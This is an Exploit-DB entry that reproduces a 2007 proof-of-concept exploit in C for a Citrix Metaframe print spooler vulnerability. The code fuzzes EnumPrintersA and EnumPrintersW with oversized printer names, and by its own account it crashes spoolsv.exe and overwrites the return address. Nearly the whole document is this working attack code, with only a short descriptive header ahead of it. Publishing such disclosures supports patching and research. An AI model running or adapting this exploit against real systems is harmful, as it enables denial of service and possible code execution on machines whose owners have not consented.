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vendor:
Metaframe
by:
Andres Tarasco Acuña
N/A
CVSS
N/A
Citrix Metaframe spooler service vulnerability
CWE
Product Name: Metaframe
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows

Proof of concept exploit for ZDI – Citrix Metaframe spooler service vulnerability

This is a proof of concept exploit for the ZDI - Citrix Metaframe spooler service vulnerability. The exploit targets the EnumPrinter() and EnumPrinterW() functions in the Microsoft Windows operating system. It is designed to fuzz local printer providers and potentially identify similar vulnerabilities. When executed on a vulnerable system, the exploit will kill the spooler service (spoolsv.exe) and overwrite the ret value with 0x00410041. This initial version of the exploit has been tested against Windows Server 2003 with Citrix Presentation Server. The 514 Tiger Team is credited with creating this exploit.

Mitigation:

Unknown
Source

Exploit-DB raw data:

/*
 Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability
 Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1 
 Author: Andres Tarasco Acuña - atarasco@514.es
 url: http://www.514.es

 This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that 
 it will help to identify similar vulnerabilities.
 Tested against win2k3 + Citrix presentation server. If the system is vulnerable 
 this application will kill spooler service (spoolsv.exe ) and ret will be overwritten
 with 0x00410041
 
 514 Tiger Team ownz u

 */
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")


void usage(char *name) {
      printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name);
      printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name);
      exit(0);
}

#define RECURSIVE 1
#define OPT_UNICODE 2
#define MAX_PRINTER_LEN 4096

#define _DBG_
#undef _DBG_

int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000};
wchar_t dst[MAX_PRINTER_LEN];



void Fuzzer( wchar_t *orig,int opt, int unicode) {
   int i,j;
   int len;

   if (unicode) len=wcslen(orig); 
   else len=strlen((char *)orig);
   memset((char *)dst,'\0',sizeof(dst));
   memcpy((char *)dst,orig,len*(1+unicode));
   j=wcslen(orig);
   for(i=0;i<CustomFuzzSize[opt];i++) {
      if (unicode) dst[j+i]='A';
      else ((char *)dst)[j+i]=(char)'A';
   }

   if (opt==0) {
   if (unicode)
   printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
   }
   
}


DWORD ShowPrinterInfo(wchar_t *lpName,  int level, int opt, char *padding) {

   unsigned char *lpInfo;
   int i,j;
   DWORD n;
   DWORD dwSizeNeeded=0;
   char newpadding[50];

   DWORD ret;

   if (opt & OPT_UNICODE) {
      EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n );
   } else {
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n );
   }
   if (dwSizeNeeded==0) {    
#ifdef _DBG_
      printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() );
#endif
      return(-1);
   }

   lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded );

   if ( lpInfo != NULL ) {
         if (opt & OPT_UNICODE) {
            ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         } else {
            ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
         }
      if (  ret== 0 )
	   {
#ifdef _DBG_
		   printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded  );
#endif
         HeapFree ( GetProcessHeap (), 0, lpInfo );
		   return 0;
      } else {
         PRINTER_INFO_1 *dataI;
         PRINTER_INFO_2 *dataII;
         
	      for ( i=0; i < n; i++ ) {
               dataI=(PRINTER_INFO_1*)lpInfo;
             
               printf("%s",padding);
               if (opt & OPT_UNICODE) {
                  if (dataI[i].pName)  printf(" %S - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %S ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %S - ",(dataI[i].pComment));
               } else {
                  if (dataI[i].pName)  printf(" %s - ",(dataI[i].pName));
                  if (dataI[i].pDescription)  printf(" %s ",(dataI[i].pDescription));
                  //if (dataI[i].pComment)  printf(" %s - ",(dataI[i].pComment));
               }
                  printf("\n");
              for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) {
                 if (opt & OPT_UNICODE) {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                    ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding);            
                 } else {
                    Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
                     ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding);            
                 }
               }
               if (opt & RECURSIVE ) {
                  strcpy (newpadding,padding);
                  strcat(newpadding,"---");
                  newpadding[1]='+';
                  ShowPrinterInfo(dataI[i].pName,level, opt, newpadding);
               }
               printf("\n");
         }
         HeapFree ( GetProcessHeap (), 0, lpInfo );
      }
   }

   return(1);
}

int testPrinters(void) {
   DWORD size,ret,err;
   ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size );
      if (  ret==0 ) {
         err=GetLastError();
         if (err!=122) { //size error
            printf("[-] Printer Service not available - Error: %d\n",err );         
            exit(-1);
         }
      } 
      return(1);
}
int main ( int argc, char *argv[] )
{

   printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n");
   printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/\n");
   printf("[+] Proof of concept by Andres Tarasco - atarasco@514.es\n\n");

   if (argc!=2) usage(argv[0]);

   testPrinters();
   printf("[+] Printer Service Seems to be working.. Fuzzing\n");
 
   if ( (argv[1][1]=='u'))  { 
      ShowPrinterInfo(NULL,1,3,"[*]");
      testPrinters();
   }
   if ( (argv[1][1]=='a'))  {
      ShowPrinterInfo(NULL,1,1,"[*]");
      testPrinters();
   }
   

   return(0);
 } 

// milw0rm.com [2007-01-26]